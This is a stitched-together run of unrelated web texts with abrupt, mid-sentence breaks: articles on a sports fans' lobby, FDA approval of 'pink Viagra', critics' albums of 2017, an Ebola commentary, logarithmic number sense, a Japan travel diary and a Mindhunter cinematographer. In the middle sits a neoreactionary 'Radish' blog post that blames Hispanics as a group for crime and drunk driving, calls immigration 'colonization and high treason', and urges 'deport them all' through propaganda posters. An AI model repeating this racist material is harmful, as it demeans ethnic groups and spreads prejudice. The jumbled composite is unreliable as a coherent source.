Ralph Nader led an advocacy group in the late 1970s that focused on similar concerns and fizzled as its membership dried up. A more recent Nader group, League of Fans, went dormant but will be revived soon, he said in a telephone interview.
“Fans are notoriously perceptive about how they are being gouged and all that,” Nader said. “But it’s very hard to get them together, especially in a dues-centered group.”
For now, the Sports Fans Coalition’s main goal is to be noted, if not feared. When leagues, owners, networks, cable companies or others ponder decisions that will affect fans, the desire is to make them think: what will the Sports Fans Coalition say about this?
“If they think that someone’s watching, it’ll make a difference,” Blakeman said. “ ‘You know, the Sports Fans Coalition could cause us a lot of trouble on this. Maybe we should talk with them.’ We would welcome that.”
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Frederick is now in the role of front man. He grew up in Lawrence, Kan., where his father, Bob, was the Kansas athletic director from 1987 to 2001. His brother Brad is a longtime assistant basketball coach at Vanderbilt.
Brian Frederick took a circuitous route to his new career, starting as a high school English teacher, earning a master’s degree in journalism from North Carolina and a doctorate in communications from Colorado. He worked a few months on John Edwards’s 2008 presidential campaign, then moved to Washington and worked for Media Matters, a nonprofit research group that tries to dispel conservative assertions in the media.
“I’m really just your average sports fan who grew up in sports and got involved in politics,” Frederick said in his interview at Sirius XM. “And I can, hopefully, merge the two.”
Frederick went to the Great American Beer Festival in Denver on a Friday night wearing jeans and a faded Kansas Jayhawks shirt, carrying a backpack full of business cards and sign-up sheets. The jammed, noisy festival proved a difficult place to engage people mostly interested in their next sample of pale ale. In Boulder the next morning, Frederick wore a faded Colorado Buffaloes T-shirt as he trolled through tailgaters before a football game.
“I live in D.C., but I’m a Colorado grad, and I’m trying to get support for a college football playoff,” he told a group near Folsom Field. A man nearly knocked over a barbecue to grab the clipboard, sign his name and provide his e-mail address.
On a recent Wednesday, Frederick met with Senator Al Franken’s chief of staff. He returned home to take a call from a Baltimore radio station, explaining that his purpose was “just to make sure that the fans’ voice is heard here in the halls of power.” He hurried to a nearby Starbucks to meet with Matt Sanderson of PlayoffPAC, which is also trying to dismantle the B.C.S.
Later, on the subway, Frederick finally leaned back and considered what he was doing.
“This could evolve into the perfect job,” he said.In the late 1980s, with the AIDS crisis in full swing, HIV-positive patients accused the Food and Drug Administration of hindering access to lifesaving drugs. At the time, the FDA was notoriously conservative and sluggish in approving new treatments, with scientists requiring endless piles of data before making a decision. The activists argued this was untenable. Patients couldn't wait for data on every last side effect. They were dying. They were willing to take big risks.
It took an incredible lobbying effort — at one point in 1988, activists stormed the FDA's headquarters in Maryland — but the agency eventually relented. The FDA began listening more closely to patients as part of its deliberation process for new drugs. By many accounts, these changes were successful. An HIV diagnosis is no longer a death sentence today, in part because those activists pushed the regulator to be less hidebound. The FDA now oversees one of the speediest drug-approval processes in the world.
But fast-forward 30 years, and many observers think the pendulum has swung too far in the opposite direction. Instead of being too conservative, critics nowadays worry the FDA has become too lax. So far in 2015, the agency has approved a stunning 96 percent of drug applications considered, according to data from Forbes. The big concern is that the FDA is waving through ineffective and potentially harmful drugs too quickly — sleep drugs with marginal benefits that can cause car accidents, for example.
One place to see the massive changes in the way the FDA approves drugs — and the increasing sophistication of the pharmaceutical industry efforts to influence their regulator — is the fight over "pink Viagra."
Over the past year, patient advocacy groups and the drug industry engaged in yet another massive lobbying effort: this time, to get the FDA to approve flibanserin ("pink Viagra"), a pill intended to fix female sexual dysfunction. One outside researcher called the drug "a mediocre aphrodisiac with scary side effects" that can cause women to randomly pass out. Other doctors said the FDA's approval was a mistake.
The episode raised hard questions about the changes wrought by the patient movement and other reforms that have followed. There were excellent reasons for the FDA to bring HIV-positive patients into its deliberations in the 1980s — they provided a crucial perspective that the agency's in-house scientists and officials lacked. But these days, some critics argue that those listening sessions have been hijacked by drug companies. As I found in my reporting, the patients who had lobbied the FDA to approve pink Viagra were often sponsored by the drug's manufacturer.
"The role of pharma in patient groups in the contemporary era is entirely fraught," says Yale Law School's Gregg Gonsalves, who was once one of those HIV activists in the 1980s. "[Drug companies] learned from the early days of the AIDS epidemic that the patient community could be useful allies, and they've poured money into patient groups here in the US and around the world."
So is the FDA approving drugs too easily? Has the push for speed and efficiency now undermined the agency's ability to protect public health? To find out, I took a closer look at the approval of "pink Viagra," which offers a vivid illustration of just how much the FDA has transformed over time — and why those changes worry many experts.
Pink Viagra: How a "mediocre aphrodisiac" got approved despite scientific skepticism
In June 2015, the FDA convened a public meeting at its campus in Silver Spring, Maryland, to talk about the sex lives of American women. Specifically, a group of industry representatives, scientists, and patients came together to discuss whether a drug designed to treat women with sexual dysfunction should be approved for market.
Though you might imagine such a meeting would be a sober and scientific accounting of clinical trials and patient data, the people in the room that day said it seemed more like a football match.
There was clapping, booing, and high-fiving. There were tear-filled testimonials from sufferers of hypoactive sexual desire disorder (HSDD) — the term used for a sudden and unexplained loss of libido. Husbands and wives got up to say that their marriages had nearly been destroyed, that they’d lost an essential part of their lives to a disorder. Doctors who treat the disorder said they needed a cure. Consumer advocates and women's rights groups accused the FDA of sexism, of not taking seriously enough a condition that affected many women.
The sentiment in the audience was clear: Female sexual dysfunction was a genuine medical condition that needed a medical treatment. Patients had the right to decide whether or not they want to try flibanserin — even if it had serious side effects, such as spontaneous fainting (which can be deadly if, say, you're driving).
Everyone I spoke to, including FDA officials, said this gathering was highly unusual. "This was a really unprecedented meeting," Richard Klein, director of the FDA patient liaison program, told me. "From the agency perspective, the decision should be made on evidence of safety and effectiveness for the clinical trial. But if you went through the transcript, members of the [FDA advisory] committee were really over-barreled."
"There was a lot more rowdiness than usual," said Liz Canner, director of the documentary Orgasm Inc., who was present at the meeting. There were hundreds of people there that day, she said, clapping when people said something positive about flibanserin and booing when something critical was uttered. "You felt there was a team trying to win, as opposed to, ‘Let’s look at the science and see what’s best for the public.'"
After the meeting, an FDA advisory committee appointed to weigh in on the day’s events recommended that the agency approve the drug. In August, the FDA announced that it would follow the committee’s advice. Addyi, the drug’s brand name, will hit store shelves this fall. Public pressure had won out. Cindy Whitehead, the CEO of Sprout Pharmaceuticals, which manufactures the drug, told me that its passage "was a triumph |
. Metro, which for some strange reason* has not happened yet. In the meantime, please enjoy these little posters. The first is based on a quotation I found in Pat Buchanan’s book The Death of the West (2010).
Just as intended
The second is based on Unamusement Park’s ‘Federal Judge Fines FDNY $129 Million for Black and Hispanic Stupidity’ (2012). You can find the complete exam it refers to at the New York Times.
Diversity is our top priority! As opposed to, say, putting out fires.
*I guess they’ve got better things to do, like fighting the “wage gap between men and women,” which according to a 2013 press release by the EEOC “still exists,” making women earn “77 percent of men’s wages,” and yet has been described as a “myth” by — let me see here — CBS (2011), the Wall Street Journal (2011), Forbes (2012), the Huffington Post (2012), Breitbart (2013), The Atlantic (2013), and Fox Business (2013), to name just a few.
According to Edge magazine, the Oculus Rift “changes everything.” Even human nature?
When democracy fails, will technology save us? The idea is certainly appealing — if you happen to live in a high-intelligence, low-aggression bubble, populated entirely by Caucasians and Orientals. Like, say, Silicon Valley (Business Insider, 2013):
Silicon Valley tech companies, including Apple, Google, Hewlett-Packard, IBM, and Microsoft, seem to be actively trying to hide how many minorities work for them. … [R]acial minorities and women are generally underrepresented in management roles. And those roles are typically dominated by white and Asian men.
(Consult M.G. Miles’ ‘The Guilty Party.’)
Accordingly, Patri Friedman believes “technology is much more important than rhetoric” (2009):
Technology alters incentives, which is a far more effective way to achieve widespread change than to attempt to fight human biases or change minds. … While the Internet has been a big step towards a more virtual lifestyle, we aren’t all going to be jacked in full-time anytime soon. … Still, cyberspace is an inherently more competitive, more anonymous, harder to tax and regulate environment, and so advancing it is a way to accelerate freedom through technology.
And Peter Thiel, seeking “escape from politics in all its forms,” has “focused my efforts on new technologies that may create a new space for freedom,” three of which are cyberspace, outer space, and seasteading (2009).
… [W]e are in a deadly race between politics and technology. The future will be much better or much worse, but the question of the future remains very open indeed. We do not know exactly how close this race is, but I suspect that it may be very close, even down to the wire. Unlike the world of politics, in the world of technology the choices of individuals may still be paramount. The fate of our world may depend on the effort of a single person who builds or propagates the machinery of freedom that makes the world safe for capitalism.
Well, maybe. (At least he hasn’t mistaken technological advancement for political ‘progress.’)
Meanwhile, Andrew Scott Reisse, a brilliant and innovative computer graphics engineer, is dead at 33, leaving (as far as I have been able to determine) no children. Reisse was the co-founder and lead engineer of the highly anticipated (and crowd-funded) virtual-reality startup Oculus VR. CNET (2013) has called the Oculus Rift headset
the virtual reality we’ve been promised since the dawn of video gaming, and really, the early days of science fiction. It leaps past all other attempts at the technology and moves into the realm of total immersion. The feeling is so natural that it’s effortless to suspend disbelief that you are standing in that place, in that world.
Pretty cool stuff. And according to Oculus VR (2013), “Andrew’s contributions span far and wide in the video game industry. His code is embedded in thousands of games played by millions of people around the world.”
On May 30, 2013, in Orange County, California, Victor Sanchez and two other mestizo gang members in a Dodge Charger — all of them on probation, with outstanding warrants for their arrest — smashed into Andrew at a crosswalk as they fled from police after a shootout (Daily Mail, 2013).
Alternatively, as tech website The Verge puts it, Reisse died in a “tragic accident” (2013). Lawrence Auster explains (2011):
“Tragedy” means an event resulting in great loss or misfortune. It carries no connotation of intentional wrongdoing. A person who describes a crime or any wicked act as a “tragedy” is a liberal liar who is denying the existence of wrongdoing.
Here is a series of comments left on Mr. Reisse’s obituary at TechCrunch (2013).
“Ahhhhhhh, MAN! I am really angry about this. [Angry at whom?] The Oculus Rift is an amazing invention and it is devastating that someone who helped bring it into this world had to die. Of course it is always tragic when anyone dies needlessly, but I really admired this guy. [Always tragic; sometimes also murder.] This just made me think how it would be great if most cars were self-driving. This sort of thing would be much less common in that world. [Way to address the root cause there.] Self-driving cars can’t come fast enough, because I’m seriously fed up with people dying as a result of reckless driving.” Well, if we don’t have them by the time white Americans are a minority in their own country, — circa 2040, — I’m sure Victor Sanchez’s grandchildren can whip up the necessary blueprints. Unless, of course, they can’t… (Issue 7).
“The saddest part is when accident happends with person who had such a great future.” Which is why we are supposed to have children.
“A guy hit him fleeing from the scene of a shooting? I guarantee he was either black, or hispanic.” “The hell does that have to do with anything…” “Hitler much, you d-bag?” “can people flag this comment as offensive so that TC takes it down? thanks.” Somewhere, Orwell is laughing (Issue 10).
“Actually yes, they were. In fact they were gang members on probation, with outstanding warrants for their arrest.” Hate facts!
“Funny how the super offensive post was vindicated as right. A PC society is a pathetic society.” Funny, sure, but not “ha ha” funny. “Funny how the racists love it when they can confirm their bias.” Bias: confirmed — and yet still somehow “racist”!
Speaking of confirmed biases (NPR, 2006):
RENEE MONTAGNE: The influx of Hispanic immigrants to some parts of the U.S. has led to a problem on the highways. In many states, Hispanics account for a disproportionate number of drunk driving deaths. In North Carolina where the Latino population has grown by more than a third in this decade, alcohol-related crashes have become a leading killer of Latinos. […] ADAM HOCHBERG: Grocery store owner Manuel Gonzales, observes the problem first hand among his customers. MANUEL GONZALES: Oh, yeah, I see it many times, almost everyday. They come and buy beers and just driving and drink at the same time. You know, when they driving. I try to explain to don’t drive and drink, but they keep on doing it. ADAM HOCHBERG: Nationwide, Latinos rank second only to Native Americans and their alcohol death rate on the highway.
Latinos and Native Americans, you say? No kidding. Those two populations? I wonder if there might be a sort of biological/historical explanation. I wonder too if there might have already been such an explanation at some point in the not-too-distant past, an explanation we have since somehow forgotten… In any case, please enjoy this little poster.
You lived in a prosperous and yet preposterous world
I agree: deport them all. No child left behind!
I see that colonization and high treason, better known as “immigration” and “amnesty” (Issue 5), are in the news again. The Carlyle Club strikes back! Inject a little sanity into the debate with our colorful posters. Here’s one, inspired by Moldbug’s essay ‘Some perspectives from Prudentius’ (2012), that sort of sneaks up on you:
Here is a more compact version of the same:
The next set of posters was inspired by Jean Raspail’s prophetic 1973 novel The Camp of the Saints. Our first offering has a distinctly fishy scent:
More fish:
Not everyone likes boats, though. Some people like trains. For the people who like trains, here are some trains!
More trains! Aren’t they fun?
The next poster is gratuitously French:
This poster is also gratuitously French, but it has a crazy caption from England! Oh caption. You so crazy.
Finally, the Mexicans decide to show up:
One more from south of the border:
I think Radish shows a keen insight into what might make a young person interested in us. Samson J.
I might start a leafletting campaign or something with those. The Avenging Red Hand
It doesn’t matter who we are. What matters is our plan. Bane
Thank you for snacking on these bite-sized bits of Radish. Rest assured, the Carlyle Club will return with a full-sized portion of savory reaction.
If you have any suggestions or requests for a poster in one of the above styles, or any other style you can imagine, feel free to leave us a comment or send us an email, and we’ll turn the matter over to Radish magazine’s Official Graphic Design Expert — who should under no circumstances be confused with Just Some Guy with a Copy of Pages.
That said, Pages costs about twenty bucks and has about twenty thousand different templates you can use to whip up your own neoreactionary propaganda poster in no time. I’m not sure this is what the television had in mind when it told me to “express myself,” or “share my passions,” or whatever, I don’t even know any more — but in any case, the tools are there.
Until next time.
Want to learn more about the topics covered in this issue of Radish? We highly recommend the following resources. (We do not, however, necessarily endorse all opinions expressed in them: some are not nearly extreme enough.)
Dark Enlightenment/Neoreaction
More-or-less outside perspectives:
Moldbuggery
Democraphobia
The Ruling Class
The End of Democracy?
Fascism
Alex Kurtagić
Diversity
Equality
Colonization
“Social Justice”
Assorted, Tangential & MiscellaneousImage copyright Getty Images Image caption Damn won six MTV Awards in August and is up for seven Grammys in 2018
Kendrick Lamar's sparse and hard-hitting rap treatise, Damn, is music critics' favourite record of 2017.
The album, which explores the conflicts in Lamar's personal life, his faith and American society, has topped a "poll of polls" compiled by BBC News.
Second place went to SZA's sensual, intimate and partially-improvised R&B album, CTRL.
Pop star Lorde came third with Melodrama, an exhilarating song cycle about the angst and ecstasy of youth.
Melodrama was co-written and produced by Jack Antonoff, who worked on two other albums in the critics' top 20 - St Vincent's Masseduction and Taylor Swift's multi-million-selling Reputation.
The full top 20 looked like this:
Best albums of 2017 - poll of polls Artist Album Points (max: 600) 1) Kendrick Lamar Damn 506 2) SZA CTRL 394 3) Lorde Melodrama 384 4) St Vincent Masseduction 277 5) LCD Soundsystem American Dream 186 6) The War On Drugs A Deeper Understanding 149 7) Jay-Z 4:44 134 8) Perfume Genius No Shape 119 9) Sampha Process 116 10) Kelela Take Me Apart 115 11) Kesha Rainbow 111 12) Vince Staples Big Fish Theory 108 13) Father John Misty Pure Comedy 102 14) Tyler, The Creator Flower Boy 98 15) The National Sleep Well Beast 86 16) Taylor Swift Reputation 83 =17) Khalid American Teen 82 =17) King Krule The Ooz 82 19) J Hus Common Sense 69 20) Wolf Alice Visions of a Life 66
Read more about the Top 10 albums.
The results were compiled from 30 "album of the year" polls, published by the most influential magazines, newspapers and blogs in music - from specialist magazines like Billboard and the NME to more mainstream outlets, such as Cosmopolitan and PopSugar.
Records were assigned points based on their position in each list - with the number one album getting 20 points, the number two album receiving 19 points, and so on.
There was a huge diversity amongst the critics' picks, with 181 albums cited across the 30 polls surveyed by the BBC.
Ed Sheeran's ÷, which is the biggest-selling album of 2017, was only cited once - by People magazine, who put it in seventh place in their year-end list.
Media playback is unsupported on your device Media caption Highlights of Lorde's set at Glastonbury 2017
Critics also selected Charli XCX's mixtape Number 1 Angel and Drake's More Life project - which was marketed as a playlist - amongst their choices, illustrating how albums are evolving in the streaming era.
But Lamar was the runaway winner. Damn featured on all but two of the polls surveyed by the BBC, and took first place on 10 of them.
Q magazine called it "a flawless hip-hop masterclass", praising the Compton-born rapper's "pyrotechnical brilliance on the mic".
The star's gift is that he can "paint pride and agony with the same brush", agreed Rolling Stone, singling out the seven-minute album track Fear as a highlight.
"Like Sigmund Freud meets Scarface, Lamar connects the dots from the seven-year-old terrified of catching a beating from his mother to the 17-year-old terrified of being murdered by police to the 27-year-old terrified of fame."
"It is the unimpeachable truth that Kendrick Lamar recorded the greatest album of 2017," said Billboard.
Removing non-UK publications from the BBC's "poll of polls" kept Lamar at number one, but propelled UK rappers J Hus, Stormzy and Loyle Carner higher up the rankings.
The 30 "best of" lists appeared in: Associated Press, The Atlantic, The AV Club, Billboard magazine, Consequence of Sound, Cosmopolitan, Dazed & Confused, Drowned In Sound, Entertainment Weekly, Fuse, The Guardian, The Independent, Line of Best Fit, Mojo, NME, NPR, Paste, People magazine, Pitchfork, Popsugar, Q Magazine, Rolling Stone, Spin, Stereogum, The Times, Time Magazine, Time Out New York, Uncut, Uproxx and Vice.
Follow us on Facebook, on Twitter @BBCNewsEnts, or on Instagram at bbcnewsents. If you have a story suggestion email entertainment.news@bbc.co.uk.After months of facing trailer leaks, tepid reception from fans and criticism from TV pundits, Inhumans will finally premiere on IMAX screens near you this week. Just last night, ABC and IMAX kicked its worldwide premiere off by celebrating in Universal City Los Angeles, inviting cast, crew, family, journalists and fans alike to view the much anticipated season’s first two episodes in IMAX. And in a refreshing turn of events, the reactions that surfaced online not soon after towards the premiere turned out positive! Here are some we spotted:
Much more intriguing than one may have originally thought. I was a little surprised by how interested I was, even if it’s predictable — ︽✵︽ Thanos ︽✵︽ (@FightOnTwist) August 29, 2017
I had a good time. I feel like it was worth me driving two hours, so take that into your considerations. I think it’s gonna be fun. — ︽✵︽ Thanos ︽✵︽ (@FightOnTwist) August 29, 2017
As a show, it works. It’s cheesy, but in a way that works for Marvel shows. It is easily worth a season of your time if you do S.H.I.E.L.D. — ︽✵︽ Thanos ︽✵︽ (@FightOnTwist) August 29, 2017
Got a chance to see the first two episodes of @theinhumans in Imax tonight. Really enjoyed it. I can't spoil anything, but it's fun. — 𝙼𝚊𝚝𝚝𝚑𝚎𝚠 𝚁𝚘𝚜𝚎𝚗𝚋𝚎𝚛𝚐 (@AshcanPress) August 29, 2017
https://twitter.com/shawnxmadden/status/902358204230668288
So the operative idea we’re getting with these IMAX reactions is that the first two episodes are just plain fun. Some of these IMAX reactions align with one of the points made by an early pilot review, saying that the character interactions and dynamics are what make this show worthwhile. While impartial, the said early pilot commended the show for doing a great job selling the family element of the show. Based on these comments, it seems like that fun family aspect will be present in the entirety of the season. We could see Inhumans go the way of the first season of Agents of S.H.I.E.L.D.; a show burdened by the bar and expectations set by the cinematic universe it inhabits that will exponentially improve once it finds its true footing. Agents of S.H.I.E.L.D. started with the same tepid reception and it’s now easily one of the best offerings in the MCU. The team at MCUExchange always been vocal about our apprehension with Inhumans ever since footage started coming in, and even though we still are very cautious going in the theater, these comments no doubt give us something to look forward to in the first episodes.
Did you guys get your tickets yet? Will these reactions make you race towards your nearest IMAX theater? Let us know in the comments below!
Source: TwitterNot an Ebola expert.
The Ebola outbreak in West Africa, which continues to rage and has now claimed the lives of more than 1100 people, offers some big lessons for America.
#1. For all its flaws, the American public health system is pretty good. We transported two patients from the middle of a hot zone who were infected with one of the world's deadliest viruses to a major metropolitan area in the United States. We did this without infecting anybody else or putting the public in danger. The two Americans were treated with a "secret" remedy (that we reported on two years ago) and are continuing to improve. One of them may actually be discharged soon.
#2. Bringing the sick Americans home was the right thing to do. On August 1, the ever-present Donald Trump tweeted: "The U.S. cannot allow EBOLA infected people back. People that go to far away places to help out are great-but must suffer the consequences!" If Ebola was as infectious as, say, measles or influenza, then Trump would be right to be concerned. If such a virus were to emerge, quarantining the patients abroad would probably be the appropriate course of action to prevent unnecessary risk to the American public. But Ebola is not that infectious. Ignorance is no excuse to stir up public anxiety, and Trump's comments were completely out of line.
#3. Biotechnology and GMOs save lives. The antibody cocktail that was used to treat the patients was the product of biotechnology, specifically GMOs. Mouse genes were modified to become human-like, and then they were placed inside of a tobacco plant. The medicine was then extracted from the plant and given to the patients. (Read John Timmer's excellent article for the details.) Keep in mind that this is the sort of life-saving research that anti-GMO activists are fighting to prevent.
#4. Do not destroy smallpox. A few months ago, the world was once again debating whether or not to destroy the known vials of smallpox that exist at the CDC in Atlanta and at a facility in Russia. Since that debate, the Ebola outbreak exploded, and some previously forgotten vials of smallpox reappeared in an NIH storage room. When scientists say we should keep smallpox around "just in case," these are the sorts of surprises they are talking about. Yes, there is a real risk that smallpox (or some other deadly pathogen) could escape from a laboratory. But is the world really better off if we forego research out of fear?
#5. Americans need to pay more attention to global affairs. Separated by two vast oceans, and bordered by two friendly neighbors, we tend to be rather insular in terms of our global perspective. Unless there is a war or some other geopolitical instability that directly threatens our interests, we remain disinterested in the rest of the world. Even then, we still may not be able to find the troubled spot on a map, as 84% of Americans were unable to do with Ukraine. If merely 1 in 6 Americans can find a gigantic country bordering Russia on a map, just how few could find Liberia, Guinea, or Sierra Leone -- the center of the outbreak? In our modern, interconnected world, what happens on one side of the globe can and will affect the other side. Maybe it's time to teach more geography in school.
#6. NIH funding should be increased. The U.S. government has neglected the National Institutes of Health (NIH), more or less letting funding slide ever since 2003. As Pacific Standard reported last year, "the Obama administration's budget request for the 2014 fiscal year is $31.3 billion, more than 23 percent lower than the 2003 funding level in purchasing power." If the U.S. wants to remain globally competitive and ready to fight disease, this downward trend needs to be reversed. Maybe the Ebola outbreak will force some very much needed bipartisanship.Published online 29 May 2008 | Nature | doi:10.1038/news.2008.866
Column: Muse
The tendency of 'uneducated' people to compress the number scale for big numbers is actually an admirable way of measuring the world, says Philip Ball.
Do kids instinctively think logarithmically - and is this the smartest way to look at numbers after all? Punchstock
I'd never have guessed, in the days when I used to paw through my grubby book of logarithms in maths classes, that I'd come to look back with fondness on these tables of cryptic decimals. In those days the most basic of electronic calculators was the size of a laptop and about as expensive in real terms, so books of logarithms were the quickest way to multiply large numbers (see 'What are logarithms'.
Of course, logarithms remain central to any advanced study of mathematics. But as they are no longer a practical arithmetic tool, one can’t now assume general familiarity with them. And so, countless popular science books contain potted guides to using exponential notation and interpreting logarithmic axes on graphs. Why do they need to do this? Because logarithmic scaling is the natural system for magnitudes of quantities in the sciences.
That's why a new claim that logarithmic mapping of numbers is the natural, intuitive scheme for humans rings true. Stanislas Dehaene of the Federative Institute of Research in Gif-sur-Yvette, France, and his co-workers report in Science1 that both adults and children of an Amazonian tribe called the Mundurucu, who have had almost no exposure to the linear counting scale of the industrialized world, judge magnitudes on a logarithmic basis.
Down the line
The researchers presented their subjects with a computerized task in which they were asked to locate on a line the points that best signified the number of various stimuli (dots, sequences of tones or spoken words) in the ranges from 1 to 10 and from 10 to 100. One end of the line corresponded to 1, say, and the other to 10; where on this line should 6 sit? The results showed that the Amazonians had a clear tendency to apportion the divisions logarithmically, which means that successive numbers get progressively closer together as they get bigger.
The same behaviour has previously been seen in young children from the West2. But adults instead use a linear scaling, in which the distance between each number is the same irrespective of their magnitude. This could be because adults are taught that is how numbers are'really' distributed, or it could be that some intrinsic aspect of brain development creates a greater predisposition to linear scaling as we mature. To distinguish between these possibilities, Dehaene and his colleagues tested an adult population that was 'uncontaminated' by schooling.
The implication of their finding, they say, is that "the concept of a linear number line seems to be a cultural invention that fails to develop in the absence of formal education". If this study were done in the nineteenth century (and aside from the computerized methodology, it could just as easily have been), we can feel pretty sure that it would have been accompanied by some patronizing comment about how 'primitive' people have failed to acquire the requisite mathematical sophistication.
Today's anthropology is more enlightened, and indeed Dehaene and his team have previously revealed the impressive subtlety of Mundurucu concepts of number and space, despite the culture having no words for numbers greater than five3,4.
Everything in perspective
But in any event, the proper conclusion is surely that it is our own intuitive sense of number that is somehow awry. The notion of a decreasing distance between numbers makes perfect sense once we think about that difference in proportionate terms: 1,001 is clearly more akin to 1,000 than 2 is to 1. We can even quantify those degrees of likeness. If we space numbers along a scale such that the distances between them reflect the proportion by which they increment the previous number, then the distance of a number n from 1 is given by the harmonic series, the sum of 1 + 1/2 + 1/3 + 1/4 and so on up to 1/<i>n.</i> This distance is roughly proportional to the logarithm of n.
This, it is often said, is why life seems to speed up as we get older: each passing year is a smaller proportion of our whole life. In perceptual terms, the clock ticks with an ever faster beat.
But wait, you might say – surely'real' quantities are linear? A kilometre is a kilometre whether we have travelled 1 or 100 already, and it takes us the same time to traverse at constant speed. Well, yes and no. Many creatures, execute random walks or the curious punctuated random walks called Lévy flights, in which migrations over a fixed increment in distance takes an ever longer time. Besides, we can usually assume that an animal capable of covering 100 kilometres could manage 101, but not necessarily that one capable of 1 kilometre could manage 2 kilometres (try the latter case with a young child).
Yet the logarithmic character of nature goes deeper than that. For scientists, just about all magnitude scales are most meaningful when expressed logarithmically, a fact memorably demonstrated in the vision of the Universe depicted in the celebrated 1977 film Powers of Ten. The femtometre (10-15 metres) is the scale of the atomic nucleus, the nanometre (10-9 metres) that of molecular systems, the micrometre (10-6 metres) the scale of the living cell, and so on. Cosmological eras demand logarithmically-fine time divisions as we move closer back towards the Big Bang. The immense variation in the size of earthquakes is tamed by the logarithmic magnitude scale, in which (roughly speaking) an increase of one degree of magnitude corresponds to a tenfold increase in energy. The same is true of the decibel scale for sound intensity, and the pH scale of acidity.
Law of the land
Indeed, the relationship between earthquake magnitude and frequency is one of the best known of the ubiquitous natural power laws, in which some quantity is proportional to the nth power of another. These relationships are best depicted with logarithmic scaling: on logarithmic axes, they look linear. Power laws have been discovered not only for landslides and solar flares but for many aspects of human culture: word-use frequency, say, or size-frequency relationships of wars, towns and website connections.
All these things could be understood much more readily if we could continue to use the logarithmic number scaling with which we are apparently endowed intuitively. So why do we devote so much energy to replacing it with linear scaling?
Linearity betrays an obsession with precision. That might incline us to expect an origin in engineering or surveying, but actually it isn't clear that this is true. The greater the number of units in a structure's dimension, the less that small errors matter: a temple intended to be 100 cubits long could probably accommodate 101 cubits, and in fact often did, because early surveying methods were far from perfect. And in any event, such dimensions were often determined by relative proportions rather than by absolute numbers. It seems more conceivable that a linear mentality stemmed from trade: if you're paying for 100 sheep, you don't want to be given 99, and the seller wants to make sure he doesn't give you 101. And if traders want to balance their books, these exact numbers matter.
Yet logarithmic thinking doesn't go away entirely. Dehaene and his colleagues show that it remains even in Westerners for very large numbers, and it is implicit in the skill of numerical approximation. Counting that uses a base system, such as our base 10, also demands a kind of logarithmic terminology: you need a new word or symbol only for successive powers of ten (as found both in ancient Egypt and China).
All in all, there are good arguments why an ability to think logarithmically is valuable. Does a conventional education perhaps suppress it more than it should?Today was my very last day full day here. And this morning I packed my koffer already, and apparently I can fit everything in. I really didn't expect this. But I think it's because I put all my heavy books in my backpack.
The main activity today was karaoke-ing with the two same girls I went to see fireworks with yesterday. It was a bit difficult to meet, because we were at a very busy station, but in the end we managed to find each other. But before the karaoke we went to eat カレー (curry) together. And I saw some kind of very hot sauce on the table, and I asked them if it was okay to eat it. They said that it was very hot and I should only put a very little on my food. I decided to try a bit on my spoon before putting it on my food. When I ate it, I found it quite strong indeed. Not so strong that I would only put a little bit on my food, but still quite strong. I wondered whether the sauce was very hot, or my resistance to spicy stuff was nullified. So I decided to minimize my reaction and one of the girls wanted to try it as well. And when she ate it she showed quite a priceless countenance, to say at least. So it was the sauce that was very spicy, and not my resistance that has been nullified. And for the people who are going to argue how mean I was and that I should be punished... Well, I was punished xD. I got by accident some of that stuff in my left eye. So that was a painful experience. But after like 20 minutes I didn't feel anything anymore, and I just enjoyed my food.
Another notable thing that I did, was making jokes about Japanese words. I made three of them, and used them the throughout the day, and my companions apparently enjoyed them xD. I'll try to explain them here, so that even if you don't know a lot of Japanese, you'll understand it:
1. 花火 ＝ 鼻火 (hanabi)
This word means fireworks. And the kanji say 'flower' and 'fire', but 'flower' and 'nose' sound the same in Japanese. So you can write 'nose' and 'fire'. I referred to that by making an explosion in front of my nose with my hands.
2. 離れたくない = 鼻れたくない (hanaretakunai)
Another nose one. This one means 'I don't want to separate' (in other words: I'm sad that you have to go). Now again, the kanji in the verb sounds the same as 'nose'. And I referred to this kanji joke by pointing at my nose while saying the first two syllables.
3. かも(しれない) = 鴨 (kamo)
かもしれない (kamoshirenai) is a word that is translated as 'probably', and in informal conversations, the last part can be left away, and it becomes only 'kamo'. But kamo, also means duck. So that has interesting results, like for example 遅れるかも 'We're probably going to be late' turns into 遅れる鴨 'A duck that comes late'. This one wasn't per se funny, but you can see what kind of difference it can make. We referred to that joke by forming a beak of a duck with our hands. xD
The karaoke itself went kind of like the last one, I myself wasn't that skilful, and I mainly enjoyed the other people singing. But I tried.
This was the last thing that happens before I go. Tomorrow I'll go from Osaka to Narita, and I will stay there one night, and the day after tomorrow I'll take my flight back to the Netherlands. But my parents aren't in the Netherlands, so I'll stay one night in my home, and the day after that I'll go to Hungary, where my whole family is at the moment and I'll rest the last ten days there before my summer vacations end. I'll maybe write one more post when I arrived in Hungary. But this is the last post that has Japan related stuff in it. I hope you have enjoyed me writing every single day for five weeks. And see you maybe again when I try something else weird, or I experience something else Japan related and start a new thread about it.
Goodbye~!When Erik Messerschmidt stepped into the role of David Fincher’s cinematographer on “Mindhunter” — a series centered on an elite FBI serial crime unit that premieres on Netflix on Oct. 13 — he and the director were already in sync.
“David and I see the world in a similar way,” says Messerschmidt, who was Fincher’s gaffer on “Gone Girl.” “I felt like I had a lot of freedom to try things visually and take some calculated risks. He was a huge supporter of that.”
Working as a cinematographer was Messerschmidt’s goal since he got his film degree from Emerson College. But in the early years of his career, like so many beginning DPs, he was shooting mostly low-budget music videos and short films, none of which broke through to bigger work.
“It was frustrating,” Messerschmidt says, and as time passed and he needed to support himself and his family, he began to take gigs as an electrician and gaffer on small movies. He eventually joined the union as a gaffer and worked his way from television to features.
“That was a great way to come up,” he says, “because I saw so many wonderful DPs at work. I was able to learn from them in a really intimate way. They’ve all become tremendous mentors and lifelong friends. I’m really glad I took that path; it was like a 15-year master class.”
Related 'Black Panther': How Comic Books Informed the Costumes of Wakanda Czech Republic Lures Productions With Ideal Locations and a 20% Rebate
Messerschmidt had done a few commercials with DP Jeff Cronenweth, Fincher’s longtime collaborator, and it was Cronenweth who brought him on “Gone Girl.” That relationship led Messerschmidt to his first big project as a cinematographer — with Fincher no less.
“Jeff is a true master, and he and David have a kind of shorthand that’s really special,” Messerschmidt explains, adding that he watched their collaboration closely. “Gaffers learn to tune their taste to the people they’re working with,” he says. “It’s a way to better anticipate a DP’s needs. Because I had worked a lot with Claudio Miranda [‘The Curious Case of Benjamin Button’] and Jeff” — both of whom have shot films for Fincher — “my intuitive decision making had been influenced by them in a major way.”
Key to Messerschmidt’s work on “Mindhunter” is a new RED camera that Fincher — who is an executive producer and directed four episodes — commissioned from the manufacturer to shoot the series.
